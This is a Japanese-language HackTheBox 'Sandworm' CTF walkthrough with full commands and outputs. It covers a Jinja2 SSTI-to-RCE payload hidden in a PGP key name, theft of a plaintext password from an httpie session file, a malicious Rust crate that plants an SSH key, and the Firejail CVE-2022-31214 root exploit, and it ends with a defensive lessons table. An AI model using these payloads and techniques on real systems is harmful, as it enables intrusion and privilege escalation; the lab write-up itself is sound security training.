HackTheBox: Sandworm — 全実行コマンド・実行結果レポート
Nmap スキャン
ssa.htb, PGP Training サイト
→
ssa.htb, PGP Training サイト
Flask/Jinja2 SSTI
PGP鍵 Name欄 → /process
→
PGP鍵 Name欄 → /process
httpieセッション漏洩
silentobserver資格情報
→
silentobserver資格情報
silentobserver シェル
user.txt ✓
→
user.txt ✓
Rust crate hijack
/opt/crates/logger 改竄
→
/opt/crates/logger 改竄
atlas 非ジェイルSSH
→
Firejail CVE-2022-31214
–join でPAMバイパス
→
–join でPAMバイパス
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
ポートスキャン & ドメイン特定
BASH
nmap -sV -sC -p- --min-rate 3000 10.129.229.16
RESULT
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Did not follow redirect to https://ssa.htb/ 443/tcp open ssl/http nginx 1.18.0 (Ubuntu) |_http-title: Secret Spy Agency | Secret Security Service | ssl-cert: Subject: commonName=SSA/organizationName=Secret Spy Agency/ | stateOrProvinceName=Classified/countryName=SA
BASH
echo "10.129.229.16 ssa.htb" | sudo tee -a /etc/hosts
ℹ️
80番は常に443番(
https://ssa.htb/)へリダイレクトされる。TLS証明書の
Subject から「Secret Spy Agency (SSA)」というテーマのサイトであることが分かる。
PHASE 2
サイト構造の把握 & Flask/Jinja2 SSTI の発見
/guide ページ — PGP実習フォームの発見
BASH
curl -sk "https://ssa.htb/guide" | grep -iE 'form|action'
RESULT (抜粋)
<form action="/guide" method="post"> (復号デモ) <form action="/guide/encrypt" method="post"> (暗号化デモ) <form class="verify-form" action="/guide/verify" method="post"> <textarea name="public_key"></textarea> <textarea name="signed_text"></textarea> <button id="verify-signature">Verify Signature</button>
ℹ️
「Verify Signature」フォームの
action は /guide/verify
だが、実際にこのフォームへ直接 POST しても、生の gpg 出力が
安全にエスケープされた静的ガイドページが返るだけで脆弱性は無い
(後述)。ボタン押下時の本当の送信先は JavaScript 側で別に定義されている。
scripts.js — 本当のAJAX送信先を特定
BASH
curl -sk "https://ssa.htb/static/scripts.js"
RESULT
$(".verify-form").submit(function(e) {
e.preventDefault();
var signed_text = $("#signed_text").val();
var public_key = $("#public_key").val();
$.ajax({
type: "POST",
url: "/process",
data: { signed_text: signed_text, public_key: public_key },
success: function(result) {
$("#signature-result").html(result);
$("#signature-modal").modal("show");
}
});
});
🚨
「Verify Signature」ボタンは実際には
POST /process へ非同期送信し、
そのレスポンスをそのまま .html() でポップアップに埋め込む。
サーバー側でこのレスポンスを組み立てる過程に SSTI の脆弱性がある。
SSTIペイロードを仕込んだPGP鍵の生成
BASH
export GNUPGHOME=~/.gnupg_ssa
cat > keyparams.txt <<EOF
%no-protection
Key-Type: RSA
Key-Length: 2048
Name-Real: {{7*7}}
Name-Email: test@ssa.htb
Expire-Date: 0
%commit
EOF
gpg --batch --gen-key keyparams.txt
gpg --armor --export test@ssa.htb > pubkey.asc
echo "hello ssti test" | gpg --batch --local-user test@ssa.htb --clearsign > signed.asc
ℹ️
GPG鍵の Name-Real (氏名) フィールドに Jinja2 のテンプレート構文
{{7*7}} を仕込む。鍵で任意のメッセージに clearsign すると、
署名検証時に GPG が UID(氏名+メール)をそのまま出力するため、このペイロードが
サーバーへ渡る経路になる。
/process へ送信 — SSTI確認
BASH
curl -sk "https://ssa.htb/process" \
--data-urlencode "public_key@pubkey.asc" \
--data-urlencode "signed_text@signed.asc"
RESULT (抜粋)
[GNUPG:] GOODSIG 6E0E81DC19E8013B 49 <test@ssa.htb> gpg: Good signature from "49 <test@ssa.htb>" [unknown]
✅
SSTI確認成功。
{{7*7}} が文字列としてではなく
計算結果の 49 として評価されてUID欄に出力された。サーバーは
Jinja2 の render_template_string() 等で gpg 出力(UID部分)を
未サニタイズのままレンダリングしていると判断できる。
PHASE 3
RCEペイロードへ発展 & 資格情報漏洩 → user.txt
os.popen によるコマンド実行
PYTHON (SSTIペイロード)
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
BASH
# 同様に Name-Real へ埋め込んだ鍵を作成・署名し /process へ送信
curl -sk "https://ssa.htb/process" \
--data-urlencode "public_key@pubkey_rce.asc" \
--data-urlencode "signed_text@signed_rce.asc"
RESULT
[GNUPG:] GOODSIG 749B698D3A23BB80 uid=1000(atlas) gid=1000(atlas) groups=1000(atlas)
<rce@ssa.htb>
✅
RCE成功。 Flask アプリは Firejail サンドボックス
(
firejail --profile=webappflaskrun) 内で atlas
ユーザーとして動作している。この後の権限昇格フェーズで、この
「サンドボックス内」という制約が重要な意味を持つ。
httpieセッションファイルから資格情報を窃取
PYTHON (SSTIペイロード)
{{request.application.__globals__.__builtins__.__import__('os').popen(
'cat /home/atlas/.config/httpie/sessions/localhost_5000/admin.json'
).read()}}
RESULT (抜粋)
{
"__meta__": {
"about": "HTTPie session file", ...
},
"auth": {
...
"password": "quietLiketheWind22",
"username": "silentobserver"
}
}
🚨
atlas が普段
httpie (CLI HTTPクライアント) で内部APIへアクセスする際の
セッションファイルに、別ユーザー silentobserver の平文パスワード
が保存されたままになっている。
SSHログイン & user.txt 取得
BASH
sshpass -p 'quietLiketheWind22' ssh silentobserver@ssa.htb \
"cat /home/silentobserver/user.txt"
RESULT
bbe420ea746558485b5876e118cbc4cd
user.txt — silentobserver
bbe420ea746558485b5876e118cbc4cd
PHASE 4
cronjob発見 & Rust crate hijacking → atlas 非ジェイルSSH
pspy でcronjobを発見
BASH (silentobserverシェル上)
./pspy64
RESULT (抜粋、約2分間隔で発火)
CMD: UID=0 PID=xxxx | sudo -u atlas /usr/bin/cargo run --offline (実行ディレクトリ: /opt/tipnet)
ℹ️
root の crontab が約2分おきに
/opt/tipnet で
sudo -u atlas cargo run --offline を実行している
(offline なのでビルド済みcrateのみ使用、外部ネットワーク不要)。
依存クレートの書込み権限を確認
BASH
cat /opt/tipnet/Cargo.toml ls -la /opt/crates/logger/src/
RESULT
[dependencies] chrono = "0.4" mysql = "23.0.1" logger = {path = "../crates/logger"} ... drwxrwxr-x 2 atlas silentobserver 4096 May 4 2023 . -rw-rw-r-- 1 atlas silentobserver 732 May 4 2023 lib.rs
🚨
tipnet はローカルパス依存 logger = {path = "../crates/logger"}
を持ち、その lib.rs は silentobserver グループに
書込み権限がある。cargo run は毎回ローカル依存を
再コンパイルするため、内容を書き換えるだけで次回cronjob発火時に自分のコードが
atlas 権限で実行される。
log() 関数を改竄しSSH公開鍵を仕込む
RESULT (元の lib.rs)
extern crate chrono;
use std::fs::OpenOptions;
use std::io::Write;
use chrono::prelude::*;
pub fn log(user: &str, query: &str, justification: &str) {
let now = Local::now();
...
let mut file = OpenOptions::new().append(true).create(true)
.open("/opt/tipnet/access.log")...
file.write_all(log_message.as_bytes())...
}
BASH (改竄版を書込み)
ssh-keygen -t rsa -b 2048 -N "" -f atlas_key
PUBKEY=$(cat atlas_key.pub)
cat > malicious_lib.rs <<RUSTEOF
use std::process::Command;
pub fn log(user: &str, query: &str, justification: &str) {
let _ = Command::new("bash").arg("-c")
.arg("mkdir -p /home/atlas/.ssh && echo '${PUBKEY}' >> /home/atlas/.ssh/authorized_keys")
.output();
}
RUSTEOF
scp malicious_lib.rs silentobserver@ssa.htb:/opt/crates/logger/src/lib.rs
ℹ️
log() 関数のシグネチャ(引数の型・個数)は元のまま維持しつつ、
中身だけを「自分のSSH公開鍵を authorized_keys に追記する」
std::process::Command 呼び出しに差し替える。呼び出し元の
tipnet 側は変更不要。
cronjobの発火を待ち atlas へSSH
BASH
# 最大2〜4分待機 (cronjobの間隔) sleep 150 ssh -i atlas_key atlas@ssa.htb "id"
RESULT
uid=1000(atlas) gid=1000(atlas) groups=1000(atlas),1002(jailer)
✅
非ジェイルシェル獲得。 cronjob は Firejail の外側 (ホストの
root 権限) から
sudo -u atlas cargo run を実行するため、このSSH
セッションは Web アプリのサンドボックスに縛られない、本物の atlas
ユーザーとしてのシェル。jailer グループ所属が次のフェーズの鍵になる。
PHASE 5
SUIDバイナリ調査 → Firejail 0.9.68 (CVE-2022-31214) 特定
jailerグループが握るSUIDバイナリを特定
BASH
find / -group jailer 2>/dev/null which firejail firejail --version
RESULT
/usr/local/bin/firejail
firejail version 0.9.68
🚨
firejail 0.9.68 は CVE-2022-31214
(join ロジックの権限昇格脆弱性) が存在するバージョン。偽の join 対象
サンドボックスを用意すると、setuid-root の firejail に「参加」した際、
ユーザー名前空間が初期名前空間のまま・NO_NEW_PRIVS が無効・
マウント名前空間が攻撃者の制御下、という条件が揃ってしまう。
公開PoC (firejoin.py) の取得
BASH (Kali側)
# oss-security への原開示 (2022-06-08) に添付された firejoin.py と同一内容が # gist として公開されている git clone https://gist.github.com/GugSaas/9fb3e59b3226e8073b3f8692859f8d25.git firejail_poc
⚠️
ハマりどころ①: このPoCは末尾で
sys.stdin.readline() の結果を待ち、行が空(EOF)になった時点で
終了する対話端末向けの作り。非対話の1回きりのSSHコマンドで
起動すると標準入力が即座にEOFになり、join案内メッセージを出した直後に
プロセスが終了してしまう。末尾の待機ループを
time.sleep(600) に書き換えておく。
PHASE 6
Firejail exploit の実行 → root.txt
PoCをatlasへ転送し起動
BASH
scp -i atlas_key firejail_poc/exploit.py atlas@ssa.htb:/tmp/firejail_poc.py
ssh -i atlas_key atlas@ssa.htb "chmod +x /tmp/firejail_poc.py"
ssh -i atlas_key atlas@ssa.htb \
"PYTHONUNBUFFERED=1 setsid nohup /tmp/firejail_poc.py \
> /tmp/.fj_out 2>&1 < /dev/null & sleep 5; cat /tmp/.fj_out"
RESULT
You can now run 'firejail --join=3399' in another terminal to obtain
a shell where 'sudo su -' should grant you a root shell.
⚠️
ハマりどころ②: このPoCは
unshare で新しい名前空間に
入った後、自分自身を再execする構造になっている。素の
nohup ./poc.py &のように起動すると、再exec後の子プロセスの
標準出力がフルバッファリングされ、上記の join 案内が
すぐにはファイルへ書き出されない (`cat` した時点でまだ空)。
PYTHONUNBUFFERED=1 を付けて起動することで解決する
(環境変数はexec後も引き継がれるため)。
偽サンドボックスへ join し root.txt を取得
BASH
ssh -i atlas_key atlas@ssa.htb \
"firejail --join=3399 su - -c 'id; cat /root/root.txt'"
RESULT
changing root to /proc/3399/root uid=0(root) gid=0(root) groups=0(root) d5a19a792fdfe8346d38706bd4698762
✅
権限昇格成功。 PoC は偽の join 対象サンドボックス内で
/etc/pam.d/su と /etc/pam.d/sudo の上に
pam_permit.so(常に許可)を bind mount で被せている。
firejail --join でこの環境に入ると、su - が
パスワード無しで root になれる。
root.txt — root@sandworm
d5a19a792fdfe8346d38706bd4698762
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — silentobserver
bbe420ea746558485b5876e118cbc4cd
root.txt — root@sandworm
d5a19a792fdfe8346d38706bd4698762
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| Flask/Jinja2 SSTI | /process (Verify Signature 処理) | リモートコード実行 (as atlas, Firejail内) | Critical | PGP鍵のName-Real欄にJinja2構文を仕込み、署名検証結果のGPG UID欄が未サニタイズでテンプレート評価される |
| 平文資格情報の保存 | httpieセッションファイル (admin.json) | 別ユーザーへの水平権限昇格 | High | atlasのローカルhttpieセッションにsilentobserverの平文パスワードが残置 |
| Rust crate hijacking (ローカルパス依存) | /opt/crates/logger (tipnetの依存クレート) | 権限昇格 (as atlas, サンドボックス外) | Critical | silentobserverが書込み可能なローカル依存クレートのlog()関数を改竄し、root権限cronjobのcargo run再コンパイルで任意コード実行 |
| CVE-2022-31214 (Firejail) | /usr/local/bin/firejail 0.9.68 | 権限昇格 (root) | Critical | 偽のjoin対象サンドボックスを用意しfirejail –joinで参加させ、PAM設定をbind mountで無害化してsu -をパスワード無しで通す |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap + TLS証明書からssa.htb特定 | PGP Trainingサイトの存在確認 |
| 2 | SSTI発見 | scripts.js解析→/processエンドポイント特定→{{7*7}}検証 | Jinja2 SSTI確認 (49評価) |
| 3 | RCE+資格情報窃取 | os.popen(‘id’)→httpieセッション読取 | user.txt 取得(silentobserver) |
| 4 | Rust crate hijack | pspy+logger crateのlog()改竄 | atlas非ジェイルSSHアクセス |
| 5 | SUID調査 | find / -group jailer | Firejail 0.9.68 (CVE-2022-31214)特定 |
| 6 | 権限昇格 | firejoin.py + firejail –join | root.txt 取得 |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| ユーザー制御可能な文字列 (GPG鍵のUID) をサニタイズせずテンプレートエンジンへ渡している | ユーザー入力は必ず render_template_string() 等の動的テンプレート評価に渡さない。表示するだけなら Markup.escape() 等で確実にエスケープし、Jinja2のサンドボックス環境 (ImmutableSandboxedEnvironment) を使う。 |
| APIクライアントのセッションファイルに平文の別ユーザー資格情報が残っている | 認証情報はセッションファイルに保存せず、都度シークレットマネージャから取得する。最低限、機微情報を含むセッションファイルはそのユーザー本人のみ読める権限にする。 |
| root権限cronjobがグループ書込み可能なローカル依存パスをそのまま信頼して再コンパイルしている | ビルド成果物や依存クレートのディレクトリは、実行ユーザー以外への書込みを一切許可しない。CI/CDやcron経由のビルドではvendoring・ロックファイルのハッシュ検証を行う。 |
| Firejailが既知の権限昇格CVEを含む古いバージョン(0.9.68)のまま運用されている | サンドボックス/コンテナ技術は定期的にセキュリティアップデートを適用する。setuid-rootバイナリの脆弱性は影響が致命的なため、脆弱性DBを継続的に監視する。 |

